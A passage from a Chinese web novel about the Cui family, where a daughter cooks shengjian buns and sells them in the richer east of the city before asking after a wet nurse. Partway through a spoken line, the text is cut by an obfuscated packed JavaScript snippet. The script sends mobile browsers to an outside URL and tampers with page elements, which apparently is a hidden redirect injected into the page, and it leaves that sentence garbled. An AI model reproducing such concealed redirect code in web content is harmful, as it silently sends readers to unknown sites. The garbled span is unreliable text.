家里人多吃饭不能谦让，崔如英自己夹了个鸡腿，在又舀了两勺汤，鸡皮软糯弹牙，辣味又开胃，四郎五郎吃得头都不抬。 崔大山觉得今儿光吃饼子就够了，这饼子泡过肉汤是真的香，家里有钱的时候，崔大山还下过馆子，他觉得比馆子里的菜还要好吃。 自己炖了也有百八十只鸡了，不及这个一半儿。 屋里二丫也把妹妹哄睡着了，出来一看碗里有饼有肉，忍不住笑了，“一大盆呢，还用给我留着。” 她咬了口肉，鸡肉被炖得紧实，外面裹了一层浓稠的汤，吃起来肉劲道水润，汤里除了肉香，还有粘稠的细粉，看着被炖小了的土豆，应该就是土豆糊糊。 二丫不禁道：“三妹做的真好吃。” 崔如英道：“我在侯府吃过一次，然后就想着回来给你们做，爹，你们在家摆摊儿辛苦，也得吃点好的。” 鸡腿好吃，土豆也好吃，崔如英把肉拆下来，土豆碾碎，全放在饼上，这样卷起来慢慢吃。 “不过也是因为赚了钱，要是没钱，咱们家吃不上炖鸡。”崔如英道，“爹，大哥，你们在家好好包包子，我和娘在侯府，也会照顾好小公子的。咱们一家齐头并进，日子才能越来越好。” 卖包子是赚了些钱，但不能安于现状。 崔大山道：“现在早起卖包子，回来刷刷洗洗买东西，下午补一个时辰觉，剩下就没别的事儿了。三丫，所以我打算再接点木工活。” 街坊邻居谁家打东西，他能做。 多做几件，就能多吃几顿肉。 看孩子吃肉这么香，崔大山心里怪不好受的。 崔如英道：“爹，木工活太累人了，你说咱们家包子卖得这么好，为啥不晚上也卖包子。” 崔大山道：“早晨多是运河码头的工人买，家里来不及做饭，吃饱点有力气，晚上都回家吃，哪里还会买包子。” 崔如英：“那是因为城南的人都穷，爹，假如我们走街串巷去城西城东卖，亦或是去城北，想来也会有人买的。” 陈娘子家就住在城东，看衣着打扮，都比城南的有钱，有钱人哪儿差几文钱买几个包子吃。 吃饱和吃好是两码事儿，每种东西都有固定客群的。 崔如英道：“爹，可以做些别的包子啥的，我先去试试。” 生煎水煎都行，崔如英正好想去城东看看。 20. 第二十章 打听个人 二丫把碗放下，“爹，我能跟三丫一块儿，晚上就让大哥带六丫去喝奶。” 二丫不在乎赚不赚钱，反正赚了也不给她，她就是想帮衬家里。 妹妹这么能干，而且爹娘大哥都累，多个人能多赚点儿。 崔大山啃了口饼子，皱着眉道：“这事儿是不是得跟你娘商量商量？” 虽是家里的顶梁柱，也疼孩子，但是大事上，他还是不敢做主。崔大山也不怕别人笑话，家里连卖几屉包子都是许娘子拿主意的。别看赚了钱，可每日赚的花出去的，崔大山都让崔大郎记上，自己是一文都舍不得花。 这么大的事，许娘子得知道。 “爹，这还用跟娘说呀，等我回去再告诉娘不就成了，咱们在家又没闲着，也没乱花钱，娘知道了肯定不会说什么的，反而看咱们为了家里这么奔波劳累，心疼高兴呢。”崔如英又道，“我是觉得爹和大哥做木工活辛苦，而且咱们家这包子摊现在只卖酱肉包子，时间久了客人也会腻，没准儿生意就不如现在好了。” 一听生意不如现在了，崔大山觉得天都要塌下来了，许娘子做奶娘是有时候的，家里就指望卖包子赚钱。 崔如英继续道：“不过要是能多来几样，到时候赚的银子多了，没准儿盘个小铺子，不用像现在这么辛苦。” 真等生意做大了，还用发愁银子吗。 崔大山道：“那下午再蒸两屉去卖？” 崔如英把最后一口饼子吃完，“爹，我和二姐弄吧，我俩就挑扁担去，先少做点试试看。” 崔大山道：“是不是又得买肉，我给你拿钱。” 崔如英打算今天先试试生煎包，做好之后用担子挑到城东去卖，也别做太多，万一卖不出去还得亏钱。 “爹，给我拿二十文就行，面就先用家里的。” 生煎包和水煎包还不一样，水煎包发面就成，荤素都能做馅儿，外壳酥脆内里绵软，而生煎则是死面。 薄和劲道是生煎皮的特色，只要一张薄薄的包子皮，把肉馅儿和汤汁全包裹在里面。 还有不同便是生煎包汤多，仅仅靠花椒水不够，还得熬猪皮冻，这样才能做到一咬就爆汁。 刚做好的生煎包哪怕拿出来放了一会儿，外面虽凉了可里面还烫着，得先咬皮再慢慢喝汤，所以肉馅儿要鲜足够美才行，不能做成酱肉包那样，咸甜口的肉馅反而喧宾夺主。 二丫连觉都不睡了，直接端面盆去和面。 四郎也自告奋勇来烧火，崔如英道：“今儿不用发面，二姐，我先去买肉，你揉面就行，千万别放老面，不能发，多揉揉，揉完盖盖子醒着就行了。” 崔如英只打算买两斤肉试试水，“三斤多面就行了，这回包子皮儿薄。” 已经是下午了，崔如英也不知道肉摊上还有没有肉，她小跑着过去，赶过去时肉已经所剩不多了。 崔如英要了两斤肉，另外的问老板要了一小张猪皮。 崔家常来买肉，小块猪皮没要钱。 崔大山今天给的，还剩两文，加上昨天和以前的，她都有九文钱了。 回到家崔如英先把猪皮洗干净，拿着砂锅熬起了猪皮冻。案板上猪肉先是变成小块，又变成了肉馅儿。 猪皮冻熬得有些慢，小块小块熬化之后颜色莹润，有些像带着杂质的玉石，只是天气温暖，尤其是下午太阳晒着，也冻不成冻。 崔如英让四郎打了几桶井水上来，井水冰凉，把熬好的皮冻坐在里面，勉强能做成。 猪肉馅儿，猪皮冻，细碎的姜末和花椒水，一样一样放进去，打馅儿的手法和做酱肉包大差不差的。 二丫是会做酱肉包的，看着崔如英这样做不由问道：“不放葱吗？” 二丫趁崔如英买肉的时候都把葱切了，怎么不放了？ 崔如英笑了笑，买了个关子，“现在不放，一会儿有大用处。” 馅儿好了，面好了，剩下就差包了，崔家包子卖得好，一是因为好吃，二是因为包子大。但这回崔如英让二丫揪小剂子，这包子包出来，差不多跟崔如英手掌一般。 她人小手也小，包子显得小巧玲珑的，崔如英包了几个给二丫看，十几道褶儿捏在一块儿，最好用力压一下，“姐，一定给捏严实了。” 不然会漏汤。 二丫认真看着，点了点头。 包子小，两斤肉三斤多面就包了好些，水煎包做不大，太大不易熟，而且样子也不好看。小小的一颗咬破包子皮吸汁，好看还好吃，一大只咬破了，容易弄脏手，汤把包子皮浸破了，还撒的哪儿都是。 后头都是二丫在包，崔如英在锅边煎。 崔家是没平底锅的，大锅勉强能用，灶膛烧小火，崔如英怕包子糊了，小心看着，不过第一锅还是有点火大。 二十多个出锅，切好的葱花也派上了用场，上面撒了一把，热气激出葱香，包子褶儿那面金黄，皮儿煎得上面透了层油光，最上头一把绿色葱花好似翡翠上的碧色飘花，样子好看极了。 包子装到盘子里，二丫看着，都舍不得吃，她不禁道：“侯府吃的东西就是不一样，样子都这么好看。” 崔如英道：“要是家里有芝麻就好了，放些芝麻更香。” 这锅包子煎过了，没法卖，不过能让客人尝，觉得好吃就买。 崔如英给二丫夹了一个，四郎五郎都给了，自己也吃了个，“姐，先咬皮，小心烫。” 二丫没吃过，但听着妹妹的话很小心地咬了一口，可是包子刚出锅，还是不可避免地被烫了一下。 舌尖发疼，可包子的鲜香味已经吃到嘴里了，二丫看着小口里面的馅儿，惊呼：“怎么这么多汤啊！” “生煎就是这样，不发面才能包住汤，不然全浸到包子皮里了。”崔如英尝了尝咸淡，口味倒是适中，包子褶儿那儿酥脆，包子皮儿软软的，馅儿也好吃，最重要的是汤汁鲜美，加了猪皮冻的汤还更粘稠。 她赶紧把其他包子给煎上，这一忙活，都到申时了。 煎好的包子放在铺着油纸的木盒子里，等挑过去估计没现在好吃，但新鲜东西总有人尝尝的。 崔大山不放心，嘱咐姐妹俩天黑之前快点赶回来，“别乱跑，卖不完就回来，咱们家当晚饭！” 中午刚吃的鸡肉，四郎五郎尝着包子，一人只尝了一个，小孩子懂什么，盼着崔如英卖不完回来吃。 这个包子更好吃，比酱肉包都好吃，两人都忘了，第一次吃酱肉包，也是这样欢喜。 崔如英满口应着，带着二丫去城东了。 崔家家住城南，一直往东北走就是，城南这边没停，一直向东走，走了有一会儿，崔如英便发觉出不同来。 这边房子的确大，两进三进的都有，路上行人穿得也好，干净体面不说，街上女子多戴着首饰。 铜的银的，各式各样，街边铺子也多，显得更热闹。 二丫没来过这边，也没出过远门，爹娘不在身边，心里难免有几分害怕，可是妹妹都不害怕，二丫就在心里给自己壮了壮胆子。 看这边有人，崔如英就开始吆喝起来了，“包子包子，崔记的生煎包，能喝汤的肉包子，都尝尝能喝汤的肉包子！” “先尝后买，不好吃不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800784|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钱！” 崔如英不知道这边人吃过崔记包子不，但这么喊准没错。 二丫嘴巴张了好几次，可都没有喊出来，不过也卖过，知道得把包子摆出来，就把盒子打开，包子给露出来。 油润的包子皮儿，翠绿的小葱花，看着赏心悦目。 崔如英声音大，已有不少人看了过来。 崔如英加了把劲儿：“先尝后买，先尝后买，大家伙都过来看看呀，不吃就后悔的生煎包！” 一个头戴银钗子的婶子看了过来，看了几眼问道：“小娘子，怎么个先尝后买法儿？” 崔如英说道：“婶子，这第一锅样子不好看，但味道不错，给大家尝尝，喜欢就买，不喜欢也没事儿。” 婶子道：“真的？” 崔如英笑着道：“那还有假，我们两个小丫头还能讹您不成。” 崔如英用油纸装了只生煎包，直接递了过去，“婶子尝尝，包子里有汤，不烫，不过得小心别弄脏你衣裳。” 那婶子有些犹豫，崔如英道：“这个不要你钱的。” 婶子这才接了，尝了尝，这好像头一回吃包子似的，竟吃了许久。 吃完，她咂咂嘴道：“这包子咋卖的？” 崔如英道：“三文一个，十文钱给你四个。” 二丫心里一惊，这么小三文一个，不过她性子老实，就算惊讶也没表现得太明显。 倒是那大婶儿一脸惊讶，“三文一个？这么贵？小娘子，城南街上早起一个大肉包也才两文一个，可比这个大多了。” 崔如英道：“婶子，你也说那是城南街上的肉包不是，这一分价钱一分货，那两文钱一个的我家也能包，但是他们能做这个吗。包子小是小，可是味道模样半点不差，再说这可是独门秘方。婶子，有的人吃两文钱一个包子都得掂量着，但你这样的，已经比别人慧眼识珠了。” 大婶儿被崔如英一通话说得眉开眼笑的，“小姑娘倒是会说话，先来四个吧。” 崔如英拿油纸装了四个模样好的，又给包了个火大的，“婶子尝着好吃下回还来。” “你这小娘子，行，以后还照顾你生意。” 二丫已是目瞪口呆，就见崔如英把钱一收，“姐，走了。” 一边走一边卖，这边又卖了八个包子，崔如英就不着急了，有人买包子就证明能卖出去，这边有钱人的确多，这样小的包子，若是在城南指定没人买，但是这里就舍得钱尝尝。 一边走一边喊，崔如英跟二丫说：“我先卖两天，到时候你们再过来就好卖了，价钱就定下了，不能变，这个不好做。” 生煎费事儿，吃的就是一个精字，大肉包是便宜，可不是这个味道。 二丫点点头，她觉得妹妹真厉害，嘴巴好使，这都能卖出去，而且还惦记着家里。 崔如英继续喊，很快又有人过来问，这回是个头发花白的婆婆，凑过来问崔如英包子怎么卖。 崔如英道：“三文一个，十文给四个。里面有汤，得咬开小口慢慢喝，觉得凉回去可以拿锅煎煎，婆婆你先尝一个吧。” 婆婆吃得慢，吃完点点头，她看着包子小，说道：“给我来二十文的。” 两人出来许久，还是第一次有人一次买二十文的，二丫压住嘴角，低着头装包子，崔如英数了数钱，正好二十文。 她把钱收好，琢磨了一下，问道：“婆婆，我跟你打听个事儿成不？” 婆子一脸狐疑：“啥事儿？” 崔如英道：“婆婆，你知道这边住着的陈娘子吗，人挺高的，有些胖，给大户人家做奶娘的。”